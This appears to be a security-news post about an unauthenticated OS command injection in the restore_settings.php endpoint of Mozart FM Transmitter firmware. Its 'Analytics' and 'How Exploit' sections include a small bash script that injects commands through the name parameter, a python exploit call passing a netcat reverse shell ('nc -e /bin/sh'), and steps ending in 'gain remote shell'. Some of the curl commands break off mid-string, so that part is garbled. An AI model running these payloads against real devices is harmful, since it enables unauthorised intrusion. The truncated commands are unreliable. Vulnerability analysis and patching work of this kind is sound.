Listen to this Post
The vulnerability resides in the `/var/tdf/restore_settings.php` endpoint of the Mozart FM Transmitter firmware. This PHP script is accessible without any authentication, allowing remote unauthenticated access. It retrieves a user-controlled input parameter named `name` via the HTTP GET request ($_GET["name"]). This input is first processed by the `urldecode()` function to decode any URL-encoded characters. The decoded string is then directly concatenated into a shell command passed to the PHP `exec()` function without any sanitization, validation, or escaping.
The `exec()` function executes operating system commands. Because user input is not neutralized, an attacker can inject shell metacharacters such as semicolon (;), pipe (|), or double ampersand (&&) into the `name` parameter. These characters break the intended command structure, allowing the injection of arbitrary shell commands. For instance, submitting a `name` value like `legitimate; whoami` would cause the `whoami` command to execute after the intended operation.
The web server process, which executes the PHP code, typically runs with sufficient privileges (e.g., as the ‘www-data’ user or similar). This leads to full remote code execution (RCE) within the context of that user. Attackers can leverage this to run commands to read sensitive files, install backdoors, modify device configuration, or launch attacks on internal networks. The affected firmware versions include 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, and 7000, indicating a widespread codebase flaw. The core weakness is the dangerous practice of passing unsanitized user input directly to a shell command interpreter.
Platform: Mozart FM Transmitter
Version: Multiple firmware versions
Vulnerability: OS Command Injection
Severity: Critical
Date: 11/25/2025
Prediction: Patch date unknown
What Undercode Say:
Analytics:
curl -G “http://
curl -G “http://
python3 exploit.py –url http://target –cmd “nc -e /bin/sh
cat << 'EOF' > exploit.sh
!/bin/bash
TARGET=”$1″
curl -s “$TARGET/var/tdf/restore_settings.php?name=;uname -a”
EOF
How Exploit:
1. Identify target device.
2. Craft HTTP GET request.
3. Inject commands via `name` parameter.
4. Gain remote shell.
Protection from this CVE
Disable vulnerable endpoint.
Input validation sanitization.
Use parameterized APIs.
Apply vendor patch.
Impact:
Remote Code Execution
System Compromise
Data Breach
Network Pivot
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
